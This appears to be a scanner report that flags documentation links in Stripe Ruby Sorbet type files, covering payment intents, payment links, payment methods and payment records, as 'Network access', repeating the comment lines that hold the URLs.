# PaymentIntent's status must be requires_capture and # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) # m - Network accessline 3216
# [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) - Network accessline 3225
# If the incremental authorization succeeds, the PaymentIntent object # returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 3226
# returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). # If the incremental authorization fails, a - Network accessline 3227
# [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 3228
# If the incremental authorization fails, a # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other # fields on the PaymentIntent or Charge update. The PaymentIntent - Network accessline 3229
# [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other - Network accessline 3234
# After it's captured, a PaymentIntent can no longer be incremented. # # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 3235
# # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). sig { - Network accessline 3236
# Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 3242
# Perform an incremental authorization on an eligible # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 3243
# [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the - Network accessline 3244
# PaymentIntent's status must be requires_capture and # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) # m - Network accessline 3245
# [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported) - Network accessline 3254
# If the incremental authorization succeeds, the PaymentIntent object # returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 3255
# returns with the updated # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). # If the incremental authorization fails, a - Network accessline 3256
# [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount). - Network accessline 3257
# If the incremental authorization fails, a # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other # fields on the PaymentIntent or Charge update. The PaymentIntent - Network accessline 3258
# [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other - Network accessline 3263
# After it's captured, a PaymentIntent can no longer be incremented. # # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 3264
# # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). sig { - Network accessline 3265
# Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations). - Network accessline 3291
# always requires you to confirm the PaymentIntent again. If you prefer to # update and confirm at the same time, we recommend updating properties through # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) - Network accessline 3292
# update and confirm at the same time, we recommend updating properties through # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead. sig { - Network accessline 3293
# the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_intent_amount_details_line_item.rbi
- Network accessline 55
sig { returns(T.nilable(String)) } def description; end # The Stripe account ID of the connected account that sells the item. This is only needed when using [Separate Charges and Transfers](https://docs.stripe.com/connect/se - Network accessline 56
def description; end # The Stripe account ID of the connected account that sells the item. This is only needed when using [Separate Charges and Transfers](https://docs.stripe.com/connect/separate-charges-and-transfers). sig - Network accessline 57
# The Stripe account ID of the connected account that sells the item. This is only needed when using [Separate Charges and Transfers](https://docs.stripe.com/connect/separate-charges-and-transfers). - Network accessline 85
end class Tax < ::Stripe::StripeObject # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or eq - Network accessline 86
class Tax < ::Stripe::StripeObject # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0 - Network accessline 87
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 97
end end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 98
end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 99
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 125
sig { returns(T.nilable(Tax)) } def tax; end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0 - Network accessline 126
def tax; end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. sig { returns(Integer) } - Network accessline 127
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_link.rbi
- Network accessline 6
# A payment link is a shareable URL that will take your customers to a hosted payment page. A payment link can be shared and used multiple times. # # When a customer opens a payment link it will open a new [checkout session](https://doc - Network accessline 7
# # When a customer opens a payment link it will open a new [checkout session](https://docs.stripe.com/api/checkout/sessions) to render the payment page. You can use [checkout session events](https://docs.stripe.com/api/events/types#event - Network accessline 8
# When a customer opens a payment link it will open a new [checkout session](https://docs.stripe.com/api/checkout/sessions) to render the payment page. You can use [checkout session events](https://docs.stripe.com/api/events/types#event_typ - Network accessline 9
# # Related guide: [Payment Links API](https://docs.stripe.com/payment-links) class PaymentLink < APIResource - Network accessline 10
# Related guide: [Payment Links API](https://docs.stripe.com/payment-links) - Network accessline 340
sig { returns(T.nilable(Issuer)) } def issuer; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in - Network accessline 341
def issuer; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns( - Network accessline 342
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 453
sig { returns(T.nilable(String)) } def description; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from thi - Network accessline 454
def description; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. sig { returns(T::Ha - Network accessline 455
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. - Network accessline 465
sig { returns(T.nilable(String)) } def statement_descriptor_suffix; end # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connec - Network accessline 466
def statement_descriptor_suffix; end # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for det - Network accessline 467
# A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details. - Network accessline 590
sig { returns(InvoiceSettings) } def invoice_settings; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this - Network accessline 591
def invoice_settings; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. sig { returns(T::H - Network accessline 592
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. - Network accessline 661
sig { returns(T.nilable(ConsentCollection)) } def consent_collection; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cur - Network accessline 662
def consent_collection; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 663
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 688
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 689
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 690
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 697
sig { returns(String) } def object; end # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details. - Network accessline 698
def object; end # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details. sig { returns(T.nilable(T.any(String, :: - Network accessline 699
# The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details. - Network accessline 709
sig { returns(String) } def payment_method_collection; end # The list of payment method types that customers can use. When `null`, Stripe will dynamically show relevant payment methods you've enabled in your [payment method settings - Network accessline 710
def payment_method_collection; end # The list of payment method types that customers can use. When `null`, Stripe will dynamically show relevant payment methods you've enabled in your [payment method settings](https://dashboard.stripe.c - Network accessline 711
# The list of payment method types that customers can use. When `null`, Stripe will dynamically show relevant payment methods you've enabled in your [payment method settings](https://dashboard.stripe.com/settings/payment_methods).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_method.rbi
- Network accessline 5
module Stripe # PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 6
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to # Customer objects to store instrument - Network accessline 7
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 8
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scena - Network accessline 9
# # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). class PaymentMethod < APIResource - Network accessline 10
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 128
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 129
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 130
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 140
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 141
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 142
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 278
sig { returns(T.nilable(String)) } def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 279
def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. sig { returns(T.nilable(String)) } - Network accessline 280
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 284
sig { returns(T.nilable(Integer)) } def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special - Network accessline 285
def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). - Network accessline 286
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 316
sig { returns(T.nilable(String)) } def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_autho - Network accessline 317
def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/p - Network accessline 318
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 448
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 449
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 450
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 460
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 461
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 462
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 474
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 475
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 476
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 486
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 487
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 488
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 531
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 532
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 533
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 543
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 544
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 545
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 557
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 558
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 559
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 569
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 570
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 571
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 752
sig { returns(T.nilable(String)) } def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 753
def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. sig { returns(T.nilable(String)) } - Network accessline 754
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 755
sig { returns(T.nilable(String)) } def brand_product; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and - Network accessline 756
def brand_product; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some - Network accessline 757
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 943
sig { returns(T.nilable(String)) } def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/l - Network accessline 944
def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, - Network accessline 945
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1222
end class RadarOptions < ::Stripe::StripeObject # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payme - Network accessline 1223
class RadarOptions < ::Stripe::StripeObject # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 1224
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 1524
sig { returns(T.nilable(MbWay)) } def mb_way; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 1525
def mb_way; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nilabl - Network accessline 1526
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1569
sig { returns(T.nilable(Promptpay)) } def promptpay; end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 1570
def promptpay; end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(RadarOptions)) } - Network accessline 1571
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 1607
# Attaches a PaymentMethod object to a Customer. # # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 1608
# # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap - Network accessline 1609
# To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 1610
# or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage). - Network accessline 1612
# endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for # future use, which makes later declines and payment friction more likely. # See [Optimizing cards for fut - Network accessline 1613
# future use, which makes later declines and payment friction more likely. # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up # futu - Network accessline 1614
# See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up - Network accessline 1616
# # To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me - Network accessline 1617
# To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 1618
# set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 1625
# Attaches a PaymentMethod object to a Customer. # # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 1626
# # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap - Network accessline 1627
# To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents) - Network accessline 1628
# or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage). - Network accessline 1630
# endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for # future use, which makes later declines and payment friction more likely. # See [Optimizing cards for fut - Network accessline 1631
# future use, which makes later declines and payment friction more likely. # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up # futu - Network accessline 1632
# See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up - Network accessline 1634
# # To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me - Network accessline 1635
# To use this PaymentMethod as the default for invoice or subscription payments, # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 1636
# set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method), - Network accessline 1643
# Creates a PaymentMethod object. Read the [Stripe.js reference](https://docs.stripe.com/docs/stripe-js/reference#stripe-create-payment-method) to learn how to create PaymentMethods via Stripe.js. - Network accessline 1644
# # Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-paym - Network accessline 1645
# Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-payment) A
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_method_configuration.rbi
- Network accessline 6
# PaymentMethodConfigurations control which payment methods are displayed to your customers when you don't explicitly specify payment method types. You can have multiple configurations with different sets of payment methods for different sc - Network accessline 7
# # There are two types of PaymentMethodConfigurations. Which is used depends on the [charge type](https://docs.stripe.com/connect/charges): # - Network accessline 8
# There are two types of PaymentMethodConfigurations. Which is used depends on the [charge type](https://docs.stripe.com/connect/charges): - Network accessline 12
# **Child** configurations apply to payments created on your connected accounts using direct charges, and charges with the on_behalf_of parameter. # # Child configurations have a `parent` that sets default values and controls which sett - Network accessline 13
# # Child configurations have a `parent` that sets default values and controls which settings connected accounts may override. You can specify a parent ID at payment time, and Stripe will automatically resolve the connected account's asso - Network accessline 14
# Child configurations have a `parent` that sets default values and controls which settings connected accounts may override. You can specify a parent ID at payment time, and Stripe will automatically resolve the connected account's associat - Network accessline 15
# # Related guides: # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations) - Network accessline 16
# Related guides: # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations) # - [Multiple configurations on dynamic payment methods](https://docs.stripe.com/payments/multiple-payment-method-c - Network accessline 17
# - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations) - Network accessline 18
# - [Multiple configurations on dynamic payment methods](https://docs.stripe.com/payments/multiple-payment-method-configs) - Network accessline 19
# - [Multiple configurations for your Connect accounts](https://docs.stripe.com/connect/multiple-payment-method-configurations)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_method_domain.rbi
- Network accessline 7
# Stripe Elements use registered payment method domains to control where certain payment methods are shown. # # Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration). - Network accessline 8
# # Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration). class PaymentMethodDomain < APIResource - Network accessline 9
# Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration). - Network accessline 218
# To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint. # # Related guides: [Payme - Network accessline 219
# # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration). sig { - Network accessline 220
# Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration). - Network accessline 229
# To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint. # # Related guides: [Payme - Network accessline 230
# # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration). sig { - Network accessline 231
# Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_record.rbi
- Network accessline 10
class PaymentRecord < APIResource class Amount < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cur - Network accessline 11
class Amount < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) - Network accessline 12
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 13
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 14
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 15
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 24
end class AmountAuthorized < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 25
class AmountAuthorized < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { return - Network accessline 26
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 27
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 28
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 29
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 38
end class AmountCanceled < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 39
class AmountCanceled < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns( - Network accessline 40
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 41
